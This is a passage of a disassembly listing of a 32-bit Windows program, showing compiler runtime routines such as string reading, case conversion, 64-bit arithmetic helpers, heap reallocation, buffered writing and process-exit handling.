		jz	short loc_4170F2
		jmp	short loc_4170B6
; ---------------------------------------------------------------------------


loc_417120:				; CODE XREF: sub_417080+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_417127:				; CODE XREF: sub_417080+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41712E:				; CODE XREF: sub_417080+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_417135:				; CODE XREF: sub_417080+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_417080	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41713C	proc near		; CODE XREF: sub_4085D3+AFp
					; sub_40CE55+4479p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_417150
		xor	eax, eax
		jmp	short loc_417186
; ---------------------------------------------------------------------------


loc_417150:				; CODE XREF: sub_41713C+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_417180
		mov	esi, [ebp+arg_8]


loc_417159:				; CODE XREF: sub_41713C+42j
		dec	dword ptr [esi+4]
		js	short loc_417168
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41716F
; ---------------------------------------------------------------------------


loc_417168:				; CODE XREF: sub_41713C+20j
		push	esi
		call	sub_41B8B0
		pop	ecx


loc_41716F:				; CODE XREF: sub_41713C+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41718A
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_417180
		dec	[ebp+arg_4]
		jnz	short loc_417159


loc_417180:				; CODE XREF: sub_41713C+18j
					; sub_41713C+3Dj ...
		and	byte ptr [edi],	0


loc_417183:				; CODE XREF: sub_41713C+55j
		mov	eax, ebx
		pop	esi


loc_417186:				; CODE XREF: sub_41713C+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41718A:				; CODE XREF: sub_41713C+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_417180
		xor	ebx, ebx
		jmp	short loc_417183
sub_41713C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417193	proc near		; CODE XREF: sub_409B24+6p
					; sub_409B42+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_469528, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_4171C0
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_417259
		cmp	eax, 5Ah
		jg	loc_417259
		add	eax, 20h
		jmp	loc_417259
; ---------------------------------------------------------------------------


loc_4171C0:				; CODE XREF: sub_417193+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_4171F4
		cmp	dword_437F7C, esi
		jle	short loc_4171E2
		push	esi
		push	ebx
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_4171EC
; ---------------------------------------------------------------------------


loc_4171E2:				; CODE XREF: sub_417193+42j
		mov	eax, off_437D70
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_4171EC:				; CODE XREF: sub_417193+4Dj
		test	eax, eax
		jnz	short loc_4171F4


loc_4171F0:				; CODE XREF: sub_417193+ADj
		mov	eax, ebx
		jmp	short loc_417259
; ---------------------------------------------------------------------------


loc_4171F4:				; CODE XREF: sub_417193+3Aj
					; sub_417193+5Bj
		mov	edx, off_437D70
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_417218
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_417221
; ---------------------------------------------------------------------------


loc_417218:				; CODE XREF: sub_417193+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_417221:				; CODE XREF: sub_417193+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_469528
		call	sub_41BD71
		add	esp, 20h
		test	eax, eax
		jz	short loc_4171F0
		cmp	eax, esi
		jnz	short loc_41724C
		movzx	eax, [ebp+var_4]
		jmp	short loc_417259
; ---------------------------------------------------------------------------


loc_41724C:				; CODE XREF: sub_417193+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_417259:				; CODE XREF: sub_417193+16j
					; sub_417193+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417193	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417260	proc near		; CODE XREF: sub_40AA1B+3Dp
					; sub_40C218+2Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_417281
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_4172D1
; ---------------------------------------------------------------------------


loc_417281:				; CODE XREF: sub_417260+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41728F:				; CODE XREF: sub_417260+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41728F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_4172BA
		cmp	edx, [esp+4+arg_4]
		ja	short loc_4172BA
		jb	short loc_4172C2
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_4172C2


loc_4172BA:				; CODE XREF: sub_417260+4Aj
					; sub_417260+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_4172C2:				; CODE XREF: sub_417260+52j
					; sub_417260+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_4172D1:				; CODE XREF: sub_417260+1Fj
		pop	ebx
		retn	10h
sub_417260	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4172E0	proc near		; CODE XREF: sub_40AA1B+24p
					; sub_40C218+3Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_417302
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_417343
; ---------------------------------------------------------------------------


loc_417302:				; CODE XREF: sub_4172E0+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_417310:				; CODE XREF: sub_4172E0+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_417310
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41733E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41733E
		jb	short loc_41733F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41733F


loc_41733E:				; CODE XREF: sub_4172E0+4Ej
					; sub_4172E0+54j
		dec	esi


loc_41733F:				; CODE XREF: sub_4172E0+56j
					; sub_4172E0+5Cj
		xor	edx, edx
		mov	eax, esi


loc_417343:				; CODE XREF: sub_4172E0+20j
		pop	esi
		pop	ebx
		retn	10h
sub_4172E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417348	proc near		; CODE XREF: sub_40AAD1+1E3p
					; sub_40C682+104p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_415CF0
		cmp	eax, 1
		pop	ecx
		jb	short loc_417383
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_417383
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41737F
		push	2
		push	ebx
		push	esi
		call	sub_41C3A0
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_41737F:				; CODE XREF: sub_417348+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41738D
; ---------------------------------------------------------------------------


loc_417383:				; CODE XREF: sub_417348+18j
					; sub_417348+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41738D
		and	byte ptr [eax],	0


loc_41738D:				; CODE XREF: sub_417348+39j
					; sub_417348+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_417405


loc_4173A0:				; CODE XREF: sub_417348+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_46A9E1[edx], 4
		jz	short loc_4173B1
		inc	eax
		jmp	short loc_4173CB
; ---------------------------------------------------------------------------


loc_4173B1:				; CODE XREF: sub_417348+64j
		cmp	cl, 2Fh
		jz	short loc_4173C5
		cmp	cl, 5Ch
		jz	short loc_4173C5
		cmp	cl, 2Eh
		jnz	short loc_4173CB
		mov	[ebp+var_4], eax
		jmp	short loc_4173CB
; ---------------------------------------------------------------------------


loc_4173C5:				; CODE XREF: sub_417348+6Cj
					; sub_417348+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_4173CB:				; CODE XREF: sub_417348+67j
					; sub_417348+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4173A0
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_417405
		cmp	[ebp+arg_8], 0
		jz	short loc_417400
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_4173E9
		mov	edi, esi


loc_4173E9:				; CODE XREF: sub_417348+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_41C3A0
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_417400:				; CODE XREF: sub_417348+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41740F
; ---------------------------------------------------------------------------


loc_417405:				; CODE XREF: sub_417348+56j
					; sub_417348+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41740F
		and	byte ptr [ecx],	0


loc_41740F:				; CODE XREF: sub_417348+BBj
					; sub_417348+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_417462
		cmp	edi, ebx
		jb	short loc_417462
		cmp	[ebp+arg_C], 0
		jz	short loc_41743F
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_417428
		mov	edi, esi


loc_417428:				; CODE XREF: sub_417348+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41C3A0
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41743F:				; CODE XREF: sub_417348+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41748A
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41744F
		mov	esi, eax


loc_41744F:				; CODE XREF: sub_417348+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_41C3A0
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41748A
; ---------------------------------------------------------------------------


loc_417462:				; CODE XREF: sub_417348+CCj
					; sub_417348+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_417480
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_417471
		mov	esi, eax


loc_417471:				; CODE XREF: sub_417348+125j
		push	esi
		push	ebx
		push	edi
		call	sub_41C3A0
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_417480:				; CODE XREF: sub_417348+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41748A
		and	byte ptr [eax],	0


loc_41748A:				; CODE XREF: sub_417348+FCj
					; sub_417348+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417348	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41748F	proc near		; CODE XREF: sub_40B1E1+19p
					; sub_412D06+1Cp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_417D4C
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_4174CD
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_4174DA
; ---------------------------------------------------------------------------


loc_4174CD:				; CODE XREF: sub_41748F+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_417C37
		pop	ecx
		pop	ecx


loc_4174DA:				; CODE XREF: sub_41748F+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41748F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4174DF	proc near		; CODE XREF: sub_40B459+2Ep
					; sub_4167D3+35p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	ebp
		push	esi
		test	ebx, ebx
		push	edi
		jnz	short loc_4174FA
		push	[esp+10h+arg_4]
		call	sub_415DC9
		pop	ecx
		jmp	loc_4175FA
; ---------------------------------------------------------------------------


loc_4174FA:				; CODE XREF: sub_4174DF+Aj
		mov	esi, [esp+10h+arg_4]
		test	esi, esi
		jnz	short loc_417510
		push	ebx
		call	sub_415E3D
		pop	ecx


loc_417509:				; CODE XREF: sub_4174DF+114j
		xor	eax, eax
		jmp	loc_4175FA
; ---------------------------------------------------------------------------


loc_417510:				; CODE XREF: sub_4174DF+21j
					; sub_4174DF+10Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_4175DB
		push	ebx
		call	sub_418AFD
		mov	ebp, eax
		pop	ecx
		test	ebp, ebp
		jz	loc_4175B8
		cmp	esi, dword_437F8C
		ja	short loc_417578
		push	esi
		push	ebx
		push	ebp
		call	sub_419308
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_417547
		mov	edi, ebx
		jmp	short loc_417570
; ---------------------------------------------------------------------------


loc_417547:				; CODE XREF: sub_4174DF+62j
		push	esi
		call	sub_418E53
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_417578
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41755E
		mov	eax, esi


loc_41755E:				; CODE XREF: sub_4174DF+7Bj
		push	eax
		push	ebx
		push	edi
		call	sub_4155D0
		push	ebx
		push	ebp
		call	sub_418B28
		add	esp, 14h


loc_417570:				; CODE XREF: sub_4174DF+66j
		test	edi, edi
		jnz	loc_4175F8


loc_417578:				; CODE XREF: sub_4174DF+53j
					; sub_4174DF+73j
		test	esi, esi
		jnz	short loc_41757F
		push	1
		pop	esi


loc_41757F:				; CODE XREF: sub_4174DF+9Bj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_46AB00
		call	dword_42114C	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jz	short loc_4175DB
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_4175A4
		mov	eax, esi


loc_4175A4:				; CODE XREF: sub_4174DF+C1j
		push	eax
		push	ebx
		push	edi
		call	sub_4155D0
		push	ebx
		push	ebp
		call	sub_418B28
		add	esp, 14h
		jmp	short loc_4175D7
; ---------------------------------------------------------------------------


loc_4175B8:				; CODE XREF: sub_4174DF+47j
		test	esi, esi
		jnz	short loc_4175BF
		push	1
		pop	esi


loc_4175BF:				; CODE XREF: sub_4174DF+DBj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	ebx
		push	0
		push	dword_46AB00
		call	dword_421160	; RtlReAllocateHeap
		mov	edi, eax


loc_4175D7:				; CODE XREF: sub_4174DF+D7j
		test	edi, edi
		jnz	short loc_4175F8


loc_4175DB:				; CODE XREF: sub_4174DF+36j
					; sub_4174DF+B9j
		cmp	dword_4694F4, 0
		jz	short loc_4175F8
		push	esi
		call	sub_418A68
		test	eax, eax
		pop	ecx
		jnz	loc_417510
		jmp	loc_417509
; ---------------------------------------------------------------------------


loc_4175F8:				; CODE XREF: sub_4174DF+93j
					; sub_4174DF+FAj ...
		mov	eax, edi


loc_4175FA:				; CODE XREF: sub_4174DF+16j
					; sub_4174DF+2Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4174DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4175FF	proc near		; CODE XREF: sub_40BAB4+127p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_417623
		xor	eax, eax
		jmp	loc_4176F0
; ---------------------------------------------------------------------------


loc_417623:				; CODE XREF: sub_4175FF+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_417636
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41763D
; ---------------------------------------------------------------------------


loc_417636:				; CODE XREF: sub_4175FF+2Dj
		mov	[ebp+arg_C], 1000h


loc_41763D:				; CODE XREF: sub_4175FF+35j
					; sub_4175FF+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_417671
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_417671
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_417657
		mov	edi, eax


loc_417657:				; CODE XREF: sub_4175FF+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_4155D0
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_4176B7
; ---------------------------------------------------------------------------


loc_417671:				; CODE XREF: sub_4175FF+47j
					; sub_4175FF+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_4176BC
		test	ecx, ecx
		jz	short loc_417685
		push	esi
		call	sub_4186E4
		test	eax, eax
		pop	ecx
		jnz	short loc_4176FE


loc_417685:				; CODE XREF: sub_4175FF+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_417698
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41769A
; ---------------------------------------------------------------------------


loc_417698:				; CODE XREF: sub_4175FF+8Aj
		mov	edi, ebx


loc_41769A:				; CODE XREF: sub_4175FF+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41C42A
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4176F5
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_4176F5


loc_4176B7:				; CODE XREF: sub_4175FF+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_4176E5
; ---------------------------------------------------------------------------


loc_4176BC:				; CODE XREF: sub_4175FF+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_417C37
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4176FE
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_4176E5
		mov	[ebp+arg_C], 1


loc_4176E5:				; CODE XREF: sub_4175FF+BBj
					; sub_4175FF+DDj
		test	ebx, ebx
		jnz	loc_41763D
		mov	eax, [ebp+arg_8]


loc_4176F0:				; CODE XREF: sub_4175FF+1Fj
					; sub_4175FF+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4176F5:				; CODE XREF: sub_4175FF+ADj
					; sub_4175FF+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_417700
; ---------------------------------------------------------------------------


loc_4176FE:				; CODE XREF: sub_4175FF+84j
					; sub_4175FF+CFj
		mov	eax, edi


loc_417700:				; CODE XREF: sub_4175FF+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_4176F0
sub_4175FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_417709	proc near		; CODE XREF: sub_40C1FE+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	dword_421094	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_417729
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		call	sub_41C5D7
		pop	ecx


loc_417725:				; CODE XREF: sub_417709+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_417729:				; CODE XREF: sub_417709+Dj
		test	al, 1
		jz	short loc_41774A
		test	[esp+arg_4], 2
		jz	short loc_41774A
		mov	dword_469494, 0Dh
		mov	dword_469498, 5
		jmp	short loc_417725
; ---------------------------------------------------------------------------


loc_41774A:				; CODE XREF: sub_417709+22j
					; sub_417709+29j
		xor	eax, eax
		retn
sub_417709	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417750	proc near		; CODE XREF: sub_40C328+5Fp
					; sub_40C328+90p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_417771
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_417771:				; CODE XREF: sub_417750+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41778D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41778D:				; CODE XREF: sub_417750+27j
		or	eax, eax
		jnz	short loc_4177A9
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4177EA
; ---------------------------------------------------------------------------


loc_4177A9:				; CODE XREF: sub_417750+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_4177B7:				; CODE XREF: sub_417750+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_4177B7
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_4177E5
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_4177E5
		jb	short loc_4177E6
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_4177E6


loc_4177E5:				; CODE XREF: sub_417750+85j
					; sub_417750+8Bj
		dec	esi


loc_4177E6:				; CODE XREF: sub_417750+8Dj
					; sub_417750+93j
		xor	edx, edx
		mov	eax, esi


loc_4177EA:				; CODE XREF: sub_417750+57j
		dec	edi
		jnz	short loc_4177F4
		neg	edx
		neg	eax
		sbb	edx, 0


loc_4177F4:				; CODE XREF: sub_417750+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_417750	endp


; =============== S U B	R O U T	I N E =======================================



sub_4177FA	proc near		; CODE XREF: sub_417AF8+93p
		mov	eax, off_437D3C
		test	eax, eax
		jz	short loc_417805
		call	eax ; sub_415F3B


loc_417805:				; CODE XREF: sub_4177FA+7j
		push	offset dword_423028
		push	offset dword_423014
		call	sub_4178E2
		push	offset dword_423010
		push	offset dword_423000
		call	sub_4178E2
		add	esp, 10h
		retn
sub_4177FA	endp


; =============== S U B	R O U T	I N E =======================================



sub_417827	proc near		; CODE XREF: sub_417AF8+D2p

arg_0		= dword	ptr  4

		push	0
		push	0
		push	[esp+8+arg_0]
		call	sub_417849
		add	esp, 0Ch
		retn
sub_417827	endp


; =============== S U B	R O U T	I N E =======================================



sub_417838	proc near		; CODE XREF: .nsp0:00417BE9p
					; sub_417BEE+1Cp ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_417849
		add	esp, 0Ch
		retn
sub_417838	endp


; =============== S U B	R O U T	I N E =======================================



sub_417849	proc near		; CODE XREF: sub_417827+8p
					; sub_417838+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4694DC, edi
		jnz	short loc_417866
		push	[esp+4+arg_0]
		call	dword_421104	; GetCurrentProcess
		push	eax
		call	dword_421140	; TerminateProcess


loc_417866:				; CODE XREF: sub_417849+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4694D8, edi
		mov	byte_4694D4, bl
		jnz	short loc_4178BA
		mov	eax, dword_46AB14
		test	eax, eax
		jz	short loc_4178A9
		mov	ecx, dword_46AB10
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_4178A8


loc_417895:				; CODE XREF: sub_417849+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41789D
		call	eax


loc_41789D:				; CODE XREF: sub_417849+50j
		sub	esi, 4
		cmp	esi, dword_46AB14
		jnb	short loc_417895


loc_4178A8:				; CODE XREF: sub_417849+4Aj
		pop	esi


loc_4178A9:				; CODE XREF: sub_417849+3Cj
		push	offset dword_423034
		push	offset dword_42302C
		call	sub_4178E2
		pop	ecx
		pop	ecx


loc_4178BA:				; CODE XREF: sub_417849+33j
		push	offset dword_423040
		push	offset dword_423038
		call	sub_4178E2
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_4178E0
		push	[esp+4+arg_0]
		mov	dword_4694DC, edi
		call	dword_421114	; ExitProcess


loc_4178E0:				; CODE XREF: sub_417849+85j
		pop	edi
		retn
sub_417849	endp


; =============== S U B	R O U T	I N E =======================================



sub_4178E2	proc near		; CODE XREF: sub_4177FA+15p
					; sub_4177FA+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_4178E7:				; CODE XREF: sub_4178E2+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_4178FA
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4178F5
		call	eax


loc_4178F5:				; CODE XREF: sub_4178E2+Fj
		add	esi, 4
		jmp	short loc_4178E7
; ---------------------------------------------------------------------------


loc_4178FA:				; CODE XREF: sub_4178E2+9j
		pop	esi
		retn
sub_4178E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4178FC	proc near		; CODE XREF: sub_40CE55+2AAAp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_421118	; DeleteFileA
